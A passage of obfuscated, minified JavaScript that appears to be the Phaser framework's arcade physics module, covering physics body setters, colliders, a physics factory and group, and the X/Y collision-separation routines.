this['sourceWidth'] = 0x2 * _0x4bf207, this['sourceHeight'] = 0x2 * _0x4bf207, this['width'] = this['sourceWidth'] * this['_sx'], this['height'] = this['sourceHeight'] * this['_sy'], this['halfWidth'] = Math['floor'](this['width'] / 0x2), this['halfHeight'] = Math['floor'](this['height'] / 0x2), this['offset']['set'](_0x5d7793, _0x1e06f4), this['updateCenter']()) : this['isCircle'] = !0x1, this; }, 'reset': function (_0x390520, _0x117c56) { this['stop'](); var _0x173b34 = this['gameObject']; _0x173b34 && (_0x173b34['setPosition'](_0x390520, _0x117c56), this['rotation'] = _0x173b34['angle'], this['preRotation'] = _0x173b34['angle']); var _0x21c8ee = this['position']; _0x173b34 && _0x173b34['getTopLeft'] ? _0x173b34['getTopLeft'](_0x21c8ee) : _0x21c8ee['set'](_0x390520, _0x117c56), this['prev']['copy'](_0x21c8ee), this['prevFrame']['copy'](_0x21c8ee), this['autoFrame']['copy'](_0x21c8ee), _0x173b34 && this['updateBounds'](), this['updateCenter'](), this['collideWorldBounds'] && this['checkWorldBounds'](), this['resetFlags'](!0x0); }, 'stop': function () { return this['velocity']['set'](0x0), this['acceleration']['set'](0x0), this['speed'] = 0x0, this['angularVelocity'] = 0x0, this['angularAcceleration'] = 0x0, this; }, 'getBounds': function (_0x558872) { return _0x558872['x'] = this['x'], _0x558872['y'] = this['y'], _0x558872['right'] = this['right'], _0x558872['bottom'] = this['bottom'], _0x558872; }, 'hitTest': function (_0x4ad32c, _0x4ed3e9) { return this['isCircle'] ? this['radius'] > 0x0 && _0x4ad32c >= this['left'] && _0x4ad32c <= this['right'] && _0x4ed3e9 >= this['top'] && _0x4ed3e9 <= this['bottom'] && (this['center']['x'] - _0x4ad32c) * (this['center']['x'] - _0x4ad32c) + (this['center']['y'] - _0x4ed3e9) * (this['center']['y'] - _0x4ed3e9) <= this['radius'] * this['radius'] : _0x46c595(this, _0x4ad32c, _0x4ed3e9); }, 'onFloor': function () { return this['blocked']['down']; }, 'onCeiling': function () { return this['blocked']['up']; }, 'onWall': function () { return this['blocked']['left'] || this['blocked']['right']; }, 'deltaAbsX': function () { return this['_dx'] > 0x0 ? this['_dx'] : -this['_dx']; }, 'deltaAbsY': function () { return this['_dy'] > 0x0 ? this['_dy'] : -this['_dy']; }, 'deltaX': function () { return this['_dx']; }, 'deltaY': function () { return this['_dy']; }, 'deltaXFinal': function () { return this['_tx']; }, 'deltaYFinal': function () { return this['_ty']; }, 'deltaZ': function () { return this['rotation'] - this['preRotation']; }, 'destroy': function () { this['enable'] = !0x1, this['world'] && this['world']['pendingDestroy']['set'](this); }, 'drawDebug': function (_0x42f81f) { var _0x5c2f34 = this['position'], _0x26fdd3 = _0x5c2f34['x'] + this['halfWidth'], _0x1e5749 = _0x5c2f34['y'] + this['halfHeight']; this['debugShowBody'] && (_0x42f81f['lineStyle'](_0x42f81f['defaultStrokeWidth'], this['debugBodyColor']), this['isCircle'] ? _0x42f81f['strokeCircle'](_0x26fdd3, _0x1e5749, this['width'] / 0x2) : (this['checkCollision']['up'] && _0x42f81f['lineBetween'](_0x5c2f34['x'], _0x5c2f34['y'], _0x5c2f34['x'] + this['width'], _0x5c2f34['y']), this['checkCollision']['right'] && _0x42f81f['lineBetween'](_0x5c2f34['x'] + this['width'], _0x5c2f34['y'], _0x5c2f34['x'] + this['width'], _0x5c2f34['y'] + this['height']), this['checkCollision']['down'] && _0x42f81f['lineBetween'](_0x5c2f34['x'], _0x5c2f34['y'] + this['height'], _0x5c2f34['x'] + this['width'], _0x5c2f34['y'] + this['height']), this['checkCollision']['left'] && _0x42f81f['lineBetween'](_0x5c2f34['x'], _0x5c2f34['y'], _0x5c2f34['x'], _0x5c2f34['y'] + this['height']))), this['debugShowVelocity'] && (_0x42f81f['lineStyle'](_0x42f81f['defaultStrokeWidth'], this['world']['defaults']['velocityDebugColor'], 0x1), _0x42f81f['lineBetween'](_0x26fdd3, _0x1e5749, _0x26fdd3 + this['velocity']['x'] / 0x2, _0x1e5749 + this['velocity']['y'] / 0x2)); }, 'willDrawDebug': function () { return this['debugShowBody'] || this['debugShowVelocity']; }, 'setDirectControl': function (_0x287545) { return void 0x0 === _0x287545 && (_0x287545 = !0x0), this['directControl'] = _0x287545, this; }, 'setCollideWorldBounds': function (_0xc4f70e, _0x109717, _0x38a557, _0x3df6bc) { void 0x0 === _0xc4f70e && (_0xc4f70e = !0x0), this['collideWorldBounds'] = _0xc4f70e; var _0x10748c = void 0x0 !== _0x109717, _0x5641b6 = void 0x0 !== _0x38a557; return (_0x10748c || _0x5641b6) && (this['worldBounce'] || (this['worldBounce'] = new _0x4da04c()), _0x10748c && (this['worldBounce']['x'] = _0x109717), _0x5641b6 && (this['worldBounce']['y'] = _0x38a557)), void 0x0 !== _0x3df6bc && (this['onWorldBounds'] = _0x3df6bc), this; }, 'setVelocity': function (_0x45a2d9, _0x29774b) { return this['velocity']['set'](_0x45a2d9, _0x29774b), _0x45a2d9 = this['velocity']['x'], _0x29774b = this['velocity']['y'], this['speed'] = Math['sqrt'](_0x45a2d9 * _0x45a2d9 + _0x29774b * _0x29774b), this; }, 'setVelocityX': function (_0x3d2963) { return this['setVelocity'](_0x3d2963, this['velocity']['y']); }, 'setVelocityY': function (_0x41180f) { return this['setVelocity'](this['velocity']['x'], _0x41180f); }, 'setMaxVelocity': function (_0xcc74e4, _0x4d1931) { return this['maxVelocity']['set'](_0xcc74e4, _0x4d1931), this; }, 'setMaxVelocityX': function (_0x4c2665) { return this['maxVelocity']['x'] = _0x4c2665, this; }, 'setMaxVelocityY': function (_0x1494c0) { return this['maxVelocity']['y'] = _0x1494c0, this; }, 'setMaxSpeed': function (_0x409fac) { return this['maxSpeed'] = _0x409fac, this; }, 'setSlideFactor': function (_0x5010b4, _0x5bc3db) { return this['slideFactor']['set'](_0x5010b4, _0x5bc3db), this; }, 'setBounce': function (_0x2d5bf6, _0x2fddf5) { return this['bounce']['set'](_0x2d5bf6, _0x2fddf5), this; }, 'setBounceX': function (_0x3f9d99) { return this['bounce']['x'] = _0x3f9d99, this; }, 'setBounceY': function (_0x5cf944) { return this['bounce']['y'] = _0x5cf944, this; }, 'setAcceleration': function (_0x5d0087, _0x17e79d) { return this['acceleration']['set'](_0x5d0087, _0x17e79d), this; }, 'setAccelerationX': function (_0x406fb4) { return this['acceleration']['x'] = _0x406fb4, this; }, 'setAccelerationY': function (_0x292379) { return this['acceleration']['y'] = _0x292379, this; }, 'setAllowDrag': function (_0x4e29b0) { return void 0x0 === _0x4e29b0 && (_0x4e29b0 = !0x0), this['allowDrag'] = _0x4e29b0, this; }, 'setAllowGravity': function (_0x4ea57c) { return void 0x0 === _0x4ea57c && (_0x4ea57c = !0x0), this['allowGravity'] = _0x4ea57c, this; }, 'setAllowRotation': function (_0x472a41) { return void 0x0 === _0x472a41 && (_0x472a41 = !0x0), this['allowRotation'] = _0x472a41, this; }, 'setDrag': function (_0x2e17f6, _0x32d417) { return this['drag']['set'](_0x2e17f6, _0x32d417), this; }, 'setDamping': function (_0x296983) { return this['useDamping'] = _0x296983, this; }, 'setDragX': function (_0x4fdf97) { return this['drag']['x'] = _0x4fdf97, this; }, 'setDragY': function (_0x53a0be) { return this['drag']['y'] = _0x53a0be, this; }, 'setGravity': function (_0x3ec3f6, _0x393cfe) { return this['gravity']['set'](_0x3ec3f6, _0x393cfe), this; }, 'setGravityX': function (_0x277a09) { return this['gravity']['x'] = _0x277a09, this; }, 'setGravityY': function (_0x33d97f) { return this['gravity']['y'] = _0x33d97f, this; }, 'setFriction': function (_0x2ade5e, _0x2f72c2) { return this['friction']['set'](_0x2ade5e, _0x2f72c2), this; }, 'setFrictionX': function (_0x262ac0) { return this['friction']['x'] = _0x262ac0, this; }, 'setFrictionY': function (_0x49adf4) { return this['friction']['y'] = _0x49adf4, this; }, 'setAngularVelocity': function (_0x2f6cab) { return this['angularVelocity'] = _0x2f6cab, this; }, 'setAngularAcceleration': function (_0x18bebe) { return this['angularAcceleration'] = _0x18bebe, this; }, 'setAngularDrag': function (_0xe979f4) { return this['angularDrag'] = _0xe979f4, this; }, 'setMass': function (_0x476044) { return this['mass'] = _0x476044, this; }, 'setImmovable': function (_0x333346) { return void 0x0 === _0x333346 && (_0x333346 = !0x0), this['immovable'] = _0x333346, this; }, 'setEnable': function (_0x3adfb2) { return void 0x0 === _0x3adfb2 && (_0x3adfb2 = !0x0), this['enable'] = _0x3adfb2, this; }, 'processX': function (_0x4c6d05, _0x2b9867, _0x4ecdb3, _0x97c794) { this['x'] += _0x4c6d05, this['updateCenter'](), null !== _0x2b9867 && (this['velocity']['x'] = _0x2b9867 * this['slideFactor']['x']); var _0x5c32c6 = this['blocked']; _0x4ecdb3 && (_0x5c32c6['left'] = !0x0, _0x5c32c6['none'] = !0x1), _0x97c794 && (_0x5c32c6['right'] = !0x0, _0x5c32c6['none'] = !0x1); }, 'processY': function (_0x54f046, _0x4fadf0, _0x2c77cd, _0x352c65) { this['y'] += _0x54f046, this['updateCenter'](), null !== _0x4fadf0 && (this['velocity']['y'] = _0x4fadf0 * this['slideFactor']['y']); var _0x4c9d5a = this['blocked']; _0x2c77cd && (_0x4c9d5a['up'] = !0x0, _0x4c9d5a['none'] = !0x1), _0x352c65 && (_0x4c9d5a['down'] = !0x0, _0x4c9d5a['none'] = !0x1); }, 'x': { 'get': function () { return this['position']['x']; }, 'set': function (_0x43e78a) { this['position']['x'] = _0x43e78a; } }, 'y': { 'get': function () { return this['position']['y']; }, 'set': function (_0x350488) { this['position']['y'] = _0x350488; } }, 'left': { 'get': function () { return this['position']['x']; } }, 'right': { 'get': function () { return this['position']['x'] + this['width']; } }, 'top': { 'get': function () { return this['position']['y']; } }, 'bottom': { 'get': function () { return this['position']['y'] + this['height']; } } }); _0x44a63d['exports'] = _0x2d565b; }, 0x135ee: (_0x14c2d6, _0x2e556b, _0x4d2c1c) => { var _0x30c770 = new (_0x4d2c1c(0x145db))({ 'initialize': function (_0x2af99b, _0x1d0630, _0xc6e3f4, _0x3d02bd, _0x279ec1, _0x426c9d, _0x44929f) { this['world'] = _0x2af99b, this['name'] = '', this['active'] = !0x0, this['overlapOnly'] = _0x1d0630, this['object1'] = _0xc6e3f4, this['object2'] = _0x3d02bd, this['collideCallback'] = _0x279ec1, this['processCallback'] = _0x426c9d, this['callbackContext'] = _0x44929f; }, 'setName': function (_0x563904) { return this['name'] = _0x563904, this; }, 'update': function () { this['world']['collideObjects'](this['object1'], this['object2'], this['collideCallback'], this['processCallback'], this['callbackContext'], this['overlapOnly']); }, 'destroy': function () { this['world']['removeCollider'](this), this['active'] = !0x1, this['world'] = null, this['object1'] = null, this['object2'] = null, this['collideCallback'] = null, this['processCallback'] = null, this['callbackContext'] = null; } }); _0x14c2d6['exports'] = _0x30c770; }, 0x101e6: (_0x5ab1bd, _0x24e1d2, _0x2209b9) => { var _0x2d1e70 = _0x2209b9(0x11679), _0x4f3a4c = _0x2209b9(0x35bf), _0x4501f9 = _0x2209b9(0x936e), _0x38e872 = _0x2209b9(0x145db), _0x591983 = _0x2209b9(0x9373), _0x124ae0 = _0x2209b9(0xed56), _0x2716a5 = _0x2209b9(0x11bb0), _0x31f9be = _0x2209b9(0x11728), _0x136ee6 = new _0x38e872({ 'initialize': function (_0x263aae) { this['world'] = _0x263aae, this['scene'] = _0x263aae['scene'], this['sys'] = _0x263aae['scene']['sys']; }, 'collider': function (_0x2abce7, _0x5b249c, _0x27c105, _0x3ff4a8, _0x491d0c) { return this['world']['addCollider'](_0x2abce7, _0x5b249c, _0x27c105, _0x3ff4a8, _0x491d0c); }, 'overlap': function (_0x1a2044, _0x1c05f9, _0x17d8fb, _0x7b2c7c, _0x1cb659) { return this['world']['addOverlap'](_0x1a2044, _0x1c05f9, _0x17d8fb, _0x7b2c7c, _0x1cb659); }, 'existing': function (_0xaab7cc, _0x2c83d4) { var _0x2b7a15 = _0x2c83d4 ? _0x591983['STATIC_BODY'] : _0x591983['DYNAMIC_BODY']; return this['world']['enableBody'](_0xaab7cc, _0x2b7a15), _0xaab7cc; }, 'staticImage': function (_0x3fb1cd, _0x5c6165, _0xc256b3, _0x253e04) { var _0x4fadcd = new _0x2d1e70(this['scene'], _0x3fb1cd, _0x5c6165, _0xc256b3, _0x253e04); return this['sys']['displayList']['add'](_0x4fadcd), this['world']['enableBody'](_0x4fadcd, _0x591983['STATIC_BODY']), _0x4fadcd; }, 'image': function (_0xb56b35, _0x2cf662, _0x190a2b, _0x39d228) { var _0xba76fc = new _0x2d1e70(this['scene'], _0xb56b35, _0x2cf662, _0x190a2b, _0x39d228); return this['sys']['displayList']['add'](_0xba76fc), this['world']['enableBody'](_0xba76fc, _0x591983['DYNAMIC_BODY']), _0xba76fc; }, 'staticSprite': function (_0x487af9, _0x519c9e, _0x271594, _0x267ee4) { var _0x2b8d33 = new _0x4f3a4c(this['scene'], _0x487af9, _0x519c9e, _0x271594, _0x267ee4); return this['sys']['displayList']['add'](_0x2b8d33), this['sys']['updateList']['add'](_0x2b8d33), this['world']['enableBody'](_0x2b8d33, _0x591983['STATIC_BODY']), _0x2b8d33; }, 'sprite': function (_0x5034ff, _0x5cd99f, _0x33fb83, _0x551d76) { var _0x501081 = new _0x4f3a4c(this['scene'], _0x5034ff, _0x5cd99f, _0x33fb83, _0x551d76); return this['sys']['displayList']['add'](_0x501081), this['sys']['updateList']['add'](_0x501081), this['world']['enableBody'](_0x501081, _0x591983['DYNAMIC_BODY']), _0x501081; }, 'staticGroup': function (_0x5d96fc, _0x422327) { return this['sys']['updateList']['add'](new _0x31f9be(this['world'], this['world']['scene'], _0x5d96fc, _0x422327)); }, 'group': function (_0x20bd11, _0x1df3f0) { return this['sys']['updateList']['add'](new _0x124ae0(this['world'], this['world']['scene'], _0x20bd11, _0x1df3f0)); }, 'body': function (_0x54a338, _0x447959, _0x59b486, _0x190e82) { var _0x4246b2 = new _0x4501f9(this['world']); return _0x4246b2['position']['set'](_0x54a338, _0x447959), _0x59b486 && _0x190e82 && _0x4246b2['setSize'](_0x59b486, _0x190e82), this['world']['add'](_0x4246b2, _0x591983['DYNAMIC_BODY']), _0x4246b2; }, 'staticBody': function (_0xdeef2f, _0x5bd4ec, _0x50f2cd, _0x50c10c) { var _0x42fd4a = new _0x2716a5(this['world']); return _0x42fd4a['position']['set'](_0xdeef2f, _0x5bd4ec), _0x50f2cd && _0x50c10c && _0x42fd4a['setSize'](_0x50f2cd, _0x50c10c), this['world']['add'](_0x42fd4a, _0x591983['STATIC_BODY']), _0x42fd4a; }, 'destroy': function () { this['world'] = null, this['scene'] = null, this['sys'] = null; } }); _0x5ab1bd['exports'] = _0x136ee6; }, 0x136ef: _0x3182d9 => { _0x3182d9['exports'] = function (_0x7f93c8) { var _0x1af4c1 = 0x0; if (Array['isArray'](_0x7f93c8)) { for (var _0x1108a1 = 0x0; _0x1108a1 < _0x7f93c8['length']; _0x1108a1++)_0x1af4c1 |= _0x7f93c8[_0x1108a1]; } else _0x1af4c1 = _0x7f93c8; return _0x1af4c1; }; }, 0xfd81: (_0x41275c, _0x217f7f, _0xce2ba4) => { var _0x59fbc4 = _0xce2ba4(0x9373); _0x41275c['exports'] = function (_0x16194d, _0x1da7f4, _0x24a9a5, _0x43ff3b) { var _0x37e91c = 0x0, _0xe3f824 = _0x16194d['deltaAbsX']() + _0x1da7f4['deltaAbsX']() + _0x43ff3b; return 0x0 === _0x16194d['_dx'] && 0x0 === _0x1da7f4['_dx'] ? (_0x16194d['embedded'] = !0x0, _0x1da7f4['embedded'] = !0x0) : _0x16194d['_dx'] > _0x1da7f4['_dx'] ? (_0x37e91c = _0x16194d['right'] - _0x1da7f4['x']) > _0xe3f824 && !_0x24a9a5 || !0x1 === _0x16194d['checkCollision']['right'] || !0x1 === _0x1da7f4['checkCollision']['left'] ? _0x37e91c = 0x0 : (_0x16194d['touching']['none'] = !0x1, _0x16194d['touching']['right'] = !0x0, _0x1da7f4['touching']['none'] = !0x1, _0x1da7f4['touching']['left'] = !0x0, _0x1da7f4['physicsType'] !== _0x59fbc4['STATIC_BODY'] || _0x24a9a5 || (_0x16194d['blocked']['none'] = !0x1, _0x16194d['blocked']['right'] = !0x0), _0x16194d['physicsType'] !== _0x59fbc4['STATIC_BODY'] || _0x24a9a5 || (_0x1da7f4['blocked']['none'] = !0x1, _0x1da7f4['blocked']['left'] = !0x0)) : _0x16194d['_dx'] < _0x1da7f4['_dx'] && (-(_0x37e91c = _0x16194d['x'] - _0x1da7f4['width'] - _0x1da7f4['x']) > _0xe3f824 && !_0x24a9a5 || !0x1 === _0x16194d['checkCollision']['left'] || !0x1 === _0x1da7f4['checkCollision']['right'] ? _0x37e91c = 0x0 : (_0x16194d['touching']['none'] = !0x1, _0x16194d['touching']['left'] = !0x0, _0x1da7f4['touching']['none'] = !0x1, _0x1da7f4['touching']['right'] = !0x0, _0x1da7f4['physicsType'] !== _0x59fbc4['STATIC_BODY'] || _0x24a9a5 || (_0x16194d['blocked']['none'] = !0x1, _0x16194d['blocked']['left'] = !0x0), _0x16194d['physicsType'] !== _0x59fbc4['STATIC_BODY'] || _0x24a9a5 || (_0x1da7f4['blocked']['none'] = !0x1, _0x1da7f4['blocked']['right'] = !0x0))), _0x16194d['overlapX'] = _0x37e91c, _0x1da7f4['overlapX'] = _0x37e91c, _0x37e91c; }; }, 0xb072: (_0x395081, _0x5b9b2a, _0x47031d) => { var _0x3bc88c = _0x47031d(0x9373); _0x395081['exports'] = function (_0x35632d, _0x273e9c, _0x226ea0, _0x1adcd6) { var _0x40106e = 0x0, _0x262243 = _0x35632d['deltaAbsY']() + _0x273e9c['deltaAbsY']() + _0x1adcd6; return 0x0 === _0x35632d['_dy'] && 0x0 === _0x273e9c['_dy'] ? (_0x35632d['embedded'] = !0x0, _0x273e9c['embedded'] = !0x0) : _0x35632d['_dy'] > _0x273e9c['_dy'] ? (_0x40106e = _0x35632d['bottom'] - _0x273e9c['y']) > _0x262243 && !_0x226ea0 || !0x1 === _0x35632d['checkCollision']['down'] || !0x1 === _0x273e9c['checkCollision']['up'] ? _0x40106e = 0x0 : (_0x35632d['touching']['none'] = !0x1, _0x35632d['touching']['down'] = !0x0, _0x273e9c['touching']['none'] = !0x1, _0x273e9c['touching']['up'] = !0x0, _0x273e9c['physicsType'] !== _0x3bc88c['STATIC_BODY'] || _0x226ea0 || (_0x35632d['blocked']['none'] = !0x1, _0x35632d['blocked']['down'] = !0x0), _0x35632d['physicsType'] !== _0x3bc88c['STATIC_BODY'] || _0x226ea0 || (_0x273e9c['blocked']['none'] = !0x1, _0x273e9c['blocked']['up'] = !0x0)) : _0x35632d['_dy'] < _0x273e9c['_dy'] && (-(_0x40106e = _0x35632d['y'] - _0x273e9c['bottom']) > _0x262243 && !_0x226ea0 || !0x1 === _0x35632d['checkCollision']['up'] || !0x1 === _0x273e9c['checkCollision']['down'] ? _0x40106e = 0x0 : (_0x35632d['touching']['none'] = !0x1, _0x35632d['touching']['up'] = !0x0, _0x273e9c['touching']['none'] = !0x1, _0x273e9c['touching']['down'] = !0x0, _0x273e9c['physicsType'] !== _0x3bc88c['STATIC_BODY'] || _0x226ea0 || (_0x35632d['blocked']['none'] = !0x1, _0x35632d['blocked']['up'] = !0x0), _0x35632d['physicsType'] !== _0x3bc88c['STATIC_BODY'] || _0x226ea0 || (_0x273e9c['blocked']['none'] = !0x1, _0x273e9c['blocked']['down'] = !0x0))), _0x35632d['overlapY'] = _0x40106e, _0x273e9c['overlapY'] = _0x40106e, _0x40106e; }; }, 0xed56: (_0x1ec4dc, _0x422d5f, _0x1d36ed) => { var _0x368706 = _0x1d36ed(0x35bf), _0x3bceb7 = _0x1d36ed(0x145db), _0x1b1845 = _0x1d36ed(0x13235), _0x3a4e3c = _0x1d36ed(0x9373), _0x4c532a = _0x1d36ed(0x17534), _0x4bb937 = _0x1d36ed(0x676f), _0x55011a = _0x1d36ed(0xa0fc), _0x24375e = new _0x3bceb7({ 'Extends': _0x4bb937, 'Mixins': [_0x1b1845], 'initialize': function (_0x37936d, _0x4f767d, _0x181b73, _0x22898e) { if (_0x181b73 || _0x22898e) { if (_0x55011a(_0x181b73)) _0x22898e = _0x181b73, _0x181b73 = null, _0x22898e['internalCreateCallback'] = this['createCallbackHandler'], _0x22898e['internalRemoveCallback'] = this['removeCallbackHandler']; else { if (Array['isArray'](_0x181b73) && _0x55011a(_0x181b73[0x0])) { var _0x5c5f29 = this; _0x181b73['forEach'](function (_0x43dfa3) { _0x43dfa3['internalCreateCallback'] = _0x5c5f29['createCallbackHandler'], _0x43dfa3['internalRemoveCallback'] = _0x5c5f29['removeCallbackHandler'], _0x43dfa3['classType'] = _0x4c532a(_0x43dfa3, 'classType', _0x368706); }), _0x22898e = null; } else _0x22898e = { 'internalCreateCallback': this['createCallbackHandler'], 'internalRemoveCallback': this['removeCallbackHandler'] }; } } else _0x22898e = { 'internalCreateCallback': this['createCallbackHandler'], 'internalRemoveCallback': this['removeCallbackHandler'] }; this['world'] = _0x37936d, _0x22898e && (_0x22898e['classType'] = _0x4c532a(_0x22898e, 'classType', _0x368706)), this['physicsType'] = _0x3a4e3c['DYNAMIC_BODY'], this['collisionCategory'] = 0x1, this['collisionMask'] = 0x7fffffff, this['defaults'] = { 'setCollideWorldBounds': _0x4c532a(_0x22898e, 'collideWorldBounds', !0x1), 'setBoundsRectangle': _0x4c532a(_0x22898e, 'customBoundsRectangle', null), 'setAccelerationX': _0x4c532a(_0x22898e, 'accelerationX', 0x0), 'setAccelerationY': _0x4c532a(_0x22898e, 'accelerationY', 0x0), 'setAllowDrag': _0x4c532a(_0x22898e, 'allowDrag', !0x0), 'setAllowGravity': _0x4c532a(_0x22898e, 'allowGravity', !0x0), 'setAllowRotation': _0x4c532a(_0x22898e, 'allowRotation', !0x0), 'setDamping': _0x4c532a(_0x22898e, 'useDamping', !0x1), 'setBounceX': _0x4c532a(_0x22898e, 'bounceX', 0x0), 'setBounceY': _0x4c532a(_0x22898e, 'bounceY', 0x0), 'setDragX': _0x4c532a(_0x22898e, 'dragX', 0x0), 'setDragY': _0x4c532a(_0x22898e, 'dragY', 0x0), 'setEnable': _0x4c532a(_0x22898e, 'enable', !0x0), 'setGravityX': _0x4c532a(_0x22898e, 'gravityX', 0x0), 'setGravityY': _0x4c532a(_0x22898e, 'gravityY', 0x0), 'setFrictionX': _0x4c532a(_0x22898e, 'frictionX', 0x0), 'setFrictionY': _0x4c532a(_0x22898e, 'frictionY', 0x0), 'setMaxSpeed': _0x4c532a(_0x22898e, 'maxSpeed', -0x1), 'setMaxVelocityX': _0x4c532a(_0x22898e, 'maxVelocityX', 0x2710), 'setMaxVelocityY': _0x4c532a(_0x22898e, 'maxVelocityY', 0x2710), 'setVelocityX': _0x4c532a(_0x22898e, 'velocityX', 0x0), 'setVelocityY': _0x4c532a(_0x22898e, 'velocityY', 0x0), 'setAngularVelocity': _0x4c532a(_0x22898e, 'angularVelocity', 0x0), 'setAngularAcceleration': _0x4c532a(_0x22898e, 'angularAcceleration', 0x0), 'setAngularDrag': _0x4c532a(_0x22898e, 'angularDrag', 0x0), 'setMass': _0x4c532a(_0x22898e, 'mass', 0x1), 'setImmovable': _0x4c532a(_0x22898e, 'immovable', !0x1) }, _0x4bb937['call'](this, _0x4f767d, _0x181b73, _0x22898e), this['type'] = 'PhysicsGroup'; }, 'createCallbackHandler': function (_0xc1bf3) { _0xc1bf3['body'] || this['world']['enableBody'](_0xc1bf3, _0x3a4e3c['DYNAMIC_BODY']); var _0x4d4f17 = _0xc1bf3['body']; for (var _0x5b0915 in this['defaults']) _0x4d4f17[_0x5b0915](this['defaults'][_0x5b0915]); }, 'removeCallbackHandler': function (_0x3ea990) { _0x3ea990['body'] && this['world']['disableBody'](_0x3ea990); }, 'setVelocity': function (_0x7edb97, _0x54a7c8, _0x236bac) { void 0x0 === _0x236bac && (_0x236bac = 0x0); for (var _0xa05b69 = this['getChildren'](), _0x82b2a6 = 0x0; _0x82b2a6 < _0xa05b69['length']; _0x82b2a6++)_0xa05b69[_0x82b2a6]['body']['velocity']['set'](_0x7edb97 + _0x82b2a6 * _0x236bac, _0x54a7c8 + _0x82b2a6 * _0x236bac); return this; }, 'setVelocityX': function (_0x19f807, _0x1d0f50) { void 0x0 === _0x1d0f50 && (_0x1d0f50 = 0x0); for (var _0x57abfb = this['getChildren'](), _0x1c969e = 0x0; _0x1c969e < _0x57abfb['length']; _0x1c969e++)_0x57abfb[_0x1c969e]['body']['velocity']['x'] = _0x19f807 + _0x1c969e * _0x1d0f50; return this; }, 'setVelocityY': function (_0x33305c, _0x1dfaec) { void 0x0 === _0x1dfaec && (_0x1dfaec = 0x0); for (var _0xe1e529 = this['getChildren'](), _0x2070c2 = 0x0; _0x2070c2 < _0xe1e529['length']; _0x2070c2++)_0xe1e529[_0x2070c2]['body']['velocity']['y'] = _0x33305c + _0x2070c2 * _0x1dfaec; return this; } }); _0x1ec4dc['exports'] = _0x24375e; }, 0xbc9: _0x3b360c => { var _0x56aa66, _0x26e514, _0xb44240, _0x44cdf8, _0x36f6c9, _0x42393b, _0x3b6c7c, _0x146430, _0x510cf0, _0x2f598d, _0x515cc8, _0x407a74, _0xc9b73c, _0x1203db, _0x369721, _0x2496ba, _0x2c4b11, _0x560d1d = function () { return _0x2f598d && _0x369721 && _0x26e514['blocked']['right'] ? (_0x56aa66['processX'](-_0x2c4b11, _0x3b6c7c, !0x1, !0x0), 0x1) : _0x510cf0 && _0x2496ba && _0x26e514['blocked']['left'] ? (_0x56aa66['processX'](_0x2c4b11, _0x3b6c7c, !0x0), 0x1) : _0xc9b73c && _0x2496ba && _0x56aa66['blocked']['right'] ? (_0x26e514['processX'](-_0x2c4b11, _0x146430, !0x1, !0x0), 0x2) : _0x407a74 && _0x369721 && _0x56aa66['blocked']['left'] ? (_0x26e514['processX'](_0x2c4b11, _0x146430, !0x0), 0x2) : 0x0; }, _0x57a331 = function (_0x5eeba9) { if (_0xb44240 && _0x44cdf8) _0x2c4b11 *= 0.5, 0x0 === _0x5eeba9 || 0x3 === _0x5eeba9 ? (_0x56aa66['processX'](_0x2c4b11, _0x36f6c9), _0x26e514['processX'](-_0x2c4b11, _0x42393b)) : (_0x56aa66['processX'](-_0x2c4b11, _0x36f6c9), _0x26e514['processX'](_0x2c4b11, _0x42393b)); else { if (_0xb44240 && !_0x44cdf8) 0x0 === _0x5eeba9 || 0x3 === _0x5eeba9 ? _0x56aa66['processX'](_0x2c4b11, _0x3b6c7c, !0x0) : _0x56aa66['processX'](-_0x2c4b11, _0x3b6c7c, !0x1, !0x0); else { if (!_0xb44240 && _0x44cdf8) 0x0 === _0x5eeba9 || 0x3 === _0x5eeba9 ? _0x26e514['processX'](-_0x2c4b11, _0x146430, !0x1, !0x0) : _0x26e514['processX'](_0x2c4b11, _0x146430, !0x0); else { var _0x14abdf = 0.5 * _0x2c4b11; 0x0 === _0x5eeba9 ? _0x1203db ? (_0x56aa66['processX'](_0x2c4b11, 0x0, !0x0), _0x26e514['processX'](0x0, null, !0x1, !0x0)) : _0xc9b73c ? (_0x56aa66['processX'](_0x14abdf, 0x0, !0x0), _0x26e514['processX'](-_0x14abdf, 0x0, !0x1, !0x0)) : (_0x56aa66['processX'](_0x14abdf, _0x26e514['velocity']['x'], !0x0), _0x26e514['processX'](-_0x14abdf, null, !0x1, !0x0)) : 0x1 === _0x5eeba9 ? _0x515cc8 ? (_0x56aa66['processX'](0x0, null, !0x1, !0x0), _0x26e514['processX'](_0x2c4b11, 0x0, !0x0)) : _0x2f598d ? (_0x56aa66['processX'](-_0x14abdf, 0x0, !0x1, !0x0), _0x26e514['processX'](_0x14abdf, 0x0, !0x0)) : (_0x56aa66['processX'](-_0x14abdf, null, !0x1, !0x0), _0x26e514['processX'](_0x14abdf, _0x56aa66['velocity']['x'], !0x0)) : 0x2 === _0x5eeba9 ? _0x1203db ? (_0x56aa66['processX'](-_0x2c4b11, 0x0, !0x1, !0x0), _0x26e514['processX'](0x0, null, !0x0)) : _0x407a74 ? (_0x56aa66['processX'](-_0x14abdf, 0x0, !0x1, !0x0), _0x26e514['processX'](_0x14abdf, 0x0, !0x0)) : (_0x56aa66['processX'](-_0x14abdf, _0x26e514['velocity']['x'], !0x1, !0x0), _0x26e514['processX'](_0x14abdf, null, !0x0)) : 0x3 === _0x5eeba9 && (_0x515cc8 ? (_0x56aa66['processX'](0x0, null, !0x0), _0x26e514['processX'](-_0x2c4b11, 0x0, !0x1, !0x0)) : _0x510cf0 ? (_0x56aa66['processX'](_0x14abdf, 0x0, !0x0), _0x26e514['processX'](-_0x14abdf, 0x0, !0x1, !0x0)) : (_0x56aa66['processX'](_0x14abdf, _0x26e514['velocity']['y'], !0x0), _0x26e514['processX'](-_0x14abdf, null, !0x1, !0x0))); } } } return !0x0; }; _0x3b360c['exports'] = { 'BlockCheck': _0x560d1d, 'Check': function () { var _0x6ff77b = _0x56aa66['velocity']['x'], _0x5b43c8 = _0x26e514['velocity']['x'], _0xd7004d = Math['sqrt'](_0x5b43c8 * _0x5b43c8 * _0x26e514['mass'] / _0x56aa66['mass']) * (_0x5b43c8 > 0x0 ? 0x1 : -0x1), _0x1937a3 = Math['sqrt'](_0x6ff77b * _0x6ff77b * _0x56aa66['mass'] / _0x26e514['mass']) * (_0x6ff77b > 0x0 ? 0x1 : -0x1), _0x4a9416 = 0.5 * (_0xd7004d + _0x1937a3); return _0x1937a3 -= _0x4a9416, _0x36f6c9 = _0x4a9416 + (_0xd7004d -= _0x4a9416) * _0x56aa66['bounce']['x'], _0x42393b = _0x4a9416 + _0x1937a3 * _0x26e514['bounce']['x'], _0x510cf0 && _0x2496ba ? _0x57a331(0x0) : _0x407a74 && 